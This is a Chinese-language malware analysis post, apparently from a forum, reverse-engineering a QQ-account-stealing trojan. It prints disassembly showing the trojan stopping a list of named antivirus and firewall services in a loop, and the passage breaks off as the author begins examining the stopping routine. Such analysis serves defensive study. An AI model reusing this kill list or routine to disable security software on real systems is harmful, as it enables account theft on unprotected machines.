啊拉 *** 大盗有几个部分,大家看一下他的功能: 运行后关闭 *** ,安装后删除自身,过滤重复号码,彻底坠毁防火墙等等.其中我最感兴趣的还是看看啊拉 *** 大盗是怎么坠毁防火墙的,故挑了重点对它进行逆向分析.这个服务端是加了个壳.我对脱壳 *** ,所以叫冷 *** 生帮我脱了.废话少说,下面是反汇编代码: Copy code .shrink:0040A0AA mov eax, offset s_Rsccenter ; "RsCCenter" .shrink:0040A0AF call sub_4095FC ;干掉如下防火墙服务.. .shrink:0040A0AF .shrink:0040A0B4 mov eax, offset s_Kvsrvxp ; "KVSrvXP" .shrink:0040A0B9 call sub_4095FC .shrink:0040A0B9 .shrink:0040A0BE mov eax, offset s_Kavsvc ; "kavsvc" .shrink:0040A0C3 call sub_4095FC .shrink:0040A0C3 .shrink:0040A0C8 mov eax, offset s_Kpfwsvc ; "KPfwSvc" .shrink:0040A0CD call sub_4095FC .shrink:0040A0CD .shrink:0040A0D2 mov eax, offset s_Kwatchsvc ; "KWatchSvc" .shrink:0040A0D7 call sub_4095FC .shrink:0040A0D7 .shrink:0040A0DC mov eax, offset s_Wscsvc ; "wscsvc" .shrink:0040A0E1 call sub_4095FC .shrink:0040A0E1 .shrink:0040A0E6 mov eax, offset s_Sndsrvc ; "SNDSrvc" .shrink:0040A0EB call sub_4095FC .shrink:0040A0EB .shrink:0040A0F0 mov eax, offset s_Ccproxy ; "ccProxy" .shrink:0040A0F5 call sub_4095FC .shrink:0040A0F5 .shrink:0040A0FA mov eax, offset s_Ccevtmgr ; "ccEvtMgr" .shrink:0040A0FF call sub_4095FC .shrink:0040A0FF .shrink:0040A104 mov eax, offset s_Ccsetmgr ; "ccSetMgr" .shrink:0040A109 call sub_4095FC .shrink:0040A109 .shrink:0040A10E mov eax, offset s_Spbbcsvc ; "SPBBCSvc" .shrink:0040A113 call sub_4095FC .shrink:0040A113 .shrink:0040A118 mov eax, offset s_SymantecCoreL ; "Symantec Core LC" .shrink:0040A11D call sub_4095FC .shrink:0040A11D .shrink:0040A122 mov eax, offset s_Navapsvc ; "navapsvc" .shrink:0040A127 call sub_4095FC .shrink:0040A127 .shrink:0040A12C mov eax, offset s_Npfmntor ; "NPFMntor" .shrink:0040A131 call sub_4095FC .shrink:0040A131 .shrink:0040A136 mov eax, offset s_Mskservice ; "MskService" .shrink:0040A13B call sub_4095FC .shrink:0040A13B .shrink:0040A140 mov eax, offset s_Mctaskmanager ; "McTaskManager" .shrink:0040A145 call sub_4095FC .shrink:0040A145 .shrink:0040A14A mov eax, offset s_Mcshield ; "McShield" .shrink:0040A14F call sub_4095FC .shrink:0040A14F .shrink:0040A154 mov eax, offset s_Mcafeeframewo ; "McAfeeFramework" .shrink:0040A159 call sub_4095FC .shrink:0040A159 .shrink:0040A15E .shrink:0040A15E loc_40A15E: ; CODE XREF: .shrink:0040A16D j .shrink:0040A15E call sub_409064 .shrink:0040A15E .shrink:0040A163 push 0BB8h .shrink:0040A168 call Sleep ;休眠 .shrink:0040A168 .shrink:0040A16D jmp short loc_40A15E .shrink:0040A16D 很明显,通过一个参数传递给sub_4095FC这个分支,而这个参数正好是一些常见的杀毒软件服务名称.所以这个函数应该这样构造:char sub_4095FC(int buffer)(C语言语法)把这个名称传递给sub_4095FC干什么捏?大家请看sub_4095FC这个分支: Copy code .shrink:004095FC sub_4095FC proc near